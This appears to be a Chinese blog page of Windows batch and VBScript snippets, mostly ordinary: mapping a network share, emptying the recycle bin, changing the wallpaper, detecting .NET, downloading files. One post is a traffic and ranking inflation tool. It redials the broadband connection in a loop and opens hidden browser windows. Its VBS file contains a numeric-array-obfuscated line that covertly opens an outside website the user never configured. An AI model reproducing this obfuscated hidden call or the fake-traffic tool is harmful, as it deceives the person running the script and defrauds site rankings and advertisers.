洛阳翼展电脑

批处理映射网络共享目录

2019-8-23 乱云飞 评论(0) 浏览(660) 标签: 批处理 映射 共享文件夹

@color 0A
@mode con cols=50 lines=10
@title 连接网络共享磁盘 www.80c.cc
@echo.
@echo           连接网络共享磁盘...
::--------------------------------------------------------
@set 服务器=\\80c.cc\测试目录
@set 注册表=##80c.cc#测试目录
@set 用户名=admin
@set 密码=*
@set 盘符=Z
@set 卷标=网络磁盘
@set 退出时间=10
::--------------------------------------------------------
@net use * /d /y >nul 2>nul
@net use %盘符%: %服务器% %密码% /user:%用户名% /persistent:yes
@label %盘符%: %卷标%>NUL
@reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\%注册表% /v _LabelFromReg /d %卷标% /f 
@start "打开%盘符%盘" "%盘符%:\"
@echo 请打开我的电脑%盘符%盘操作。
@ping -n %退出时间% 127.0.0.1>NUL
::--------------------------------------------------------
rem cmd /k
exit

批处理清空回收站

2019-8-4 乱云飞 评论(0) 浏览(763) 标签: 批处理 清空回收站

@echo off
setlocal enabledelayedexpansion
for %%a in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do (
  if exist %%a:\$recycle.bin (
     pushd %%a:\$recycle.bin
     for /f %%b in ('dir /b /a') do (rd /s /q %%b)
  )
)
pause

更改桌面图标大小

2019-8-3 乱云飞 评论(0) 浏览(635) 标签: 批处理 桌面图标 图标大小

bat批处理判断系统位数

2019-8-3 乱云飞 评论(0) 浏览(866) 标签: 批处理 判断系统版本 系统位数 64位 32位

@echo off
rem 判断64位系统和32位系统
if /i %PROCESSOR_IDENTIFIER:~0,3%==x86 (
echo 32位操作系统
) else (
echo 64位操作系统
)
pause

更改计算机描述

2019-8-2 乱云飞 评论(0) 浏览(563) 标签: 批处理 注册表 更改计算机描述

reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\lanmanserver\Parameters" /v srvcomment /t reg_sz /d 描述文字 /f

两种方法更改桌面壁纸

2019-8-2 乱云飞 评论(0) 浏览(592) 标签: 批处理 更换桌面背景 桌面壁纸

@reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /d %~dp0ez.bmp /f
@RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters

---------------------------------------------------------

cd /

cd %~dp0
copy ez.bmp C:\ez.bmp
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /V Wallpaper /D C:\ez.bmp /F
RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters
cmd /k

激活窗口，只写窗口标题前半部分就行

2019-8-2 乱云飞 评论(0) 浏览(630) 标签: 批处理 VBS 激活窗口

Set WshShell = CreateObject("WScript.Shell")
WshShell.AppActivate "任务管理"

WshShell.SendKeys "{Enter}"

-------------------------------------------------------------------

'<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<激活窗口
Private Sub jihuo()
Set www = CreateObject("wscript.shell") '-------------------定义shell
Shell "cmd.exe /c echo Set www = CreateObject(""WScript.Shell""):www.AppActivate ""EZSOFT"">%TEMP%\app.vbs", vbHide
Shell ("cmd /c %temp%\app.vbs"), vbHide '//激活窗口
End Sub
'>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

百度里找到了一个很久以前写的批处理

2019-7-31 乱云飞 评论(0) 浏览(523) 标签: 批处理 刷网站流量 刷网站排名

以下红色部分代码保存为：shua.bat
===========================================
@ title 网站刷流量排名工具
@ echo ----------------------------------------------------------
@ echo 网站刷流量排名工具。如需帮助请联系 QQ 345794501
@ echo ----------------------------------------------------------
@ color 0A
@ echo off
@ rem ---------- 设置名称,帐号,密码,延迟时间 ----------
@ set 连接名称=中国网通
@ set 宽带帐号=13213610060
@ set 宽带密码=123456
@ set 延迟时间=15
@ rem ---------- 以下部分不要修改 ----------
:start
@ Rasdial %连接名称% %宽带帐号% %宽带密码%
@ start shua.vbs
@ ping 127.0.0.1 -n %延迟时间%
@ Rasdial %连接名称% /disconnect
@ taskkill /f /im IEXPLORE.EXE
@ rem 循环
@ goto start
===========================================
以下黄色部分代码修改后保存为：shua.vbs
===========================================
Str = Array(83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,111,98,106,83,104,101,108,108,46,82,117,110,32,34,73,69,88,80,76,79,82,69,46,69,88,69,32,104,116,116,112,58,47,47,100,120,50,48,46,99,110,47,118,105,112,47,34,44,48)
Function Num2Str(Str):For I=0 To UBound(Str):Num2Str = Num2Str & Chr(Str(I)):Next:End Function
Execute Num2Str(Str)
'//请在下面设置要刷的网页，每行一个地址，不要超过10个地址。联系QQ 345794501 //
objShell.Run "IEXPLORE.EXE http://80c.cc/vip/free.htm",0
objShell.Run "IEXPLORE.EXE http://80c.cc/ceshi.htm",0

批处理检测是否安装过 Microsoft.NET Framework

2019-7-11 乱云飞 评论(0) 浏览(770) 标签: 代码 批处理 检测 .net

@echo off
set checked=0
if exist "%windir%\Microsoft.NET\Framework\v1.0*" set checked=1
if exist "%windir%\Microsoft.NET\Framework\v1.1*" set checked=1
if exist "%windir%\Microsoft.NET\Framework\v2.0*" set checked=1
if exist "%windir%\Microsoft.NET\Framework\v3.0*" set checked=1
if exist "%windir%\Microsoft.NET\Framework\v3.5*" set checked=1
if exist "%windir%\Microsoft.NET\Framework\v4.0*" set checked=1
if %checked% EQU 1 (echo 已安装.NET Framework) else (echo 未安装.NET Framework)
pause>nul

批处理批量下载文件

2019-6-29 乱云飞 评论(0) 浏览(741) 标签: 代码 批处理 批量下载 下载文件

@echo off  &REM 会被火绒识别为木马
for /l %%i in (1,1,88) do (  
echo "http://80c.cc/%%i.mp3" "%cd%/%%i.mp3"  
down.vbs "http://80c.cc/%%i.mp3" "%cd%/%%i.mp3"  
)  
******************************************************
Download Wscript.Arguments(0),Wscript.Arguments(1)  
Sub Download(url,target)  
    Set post=CreateObject("Msxml2.XMLHTTP")  
    post.Open "GET",url  
    '发送请求  
    post.Send()  
    Set aGet = CreateObject("ADODB.Stream")  
    aGet.Mode = 3  
    aGet.Type = 1  
    aGet.Open()  
    '等待3秒，等文件下载  
    wscript.sleep 3000   
    aGet.Write(post.responseBody)'写数据  
    aGet.SaveToFile target,2  
End Sub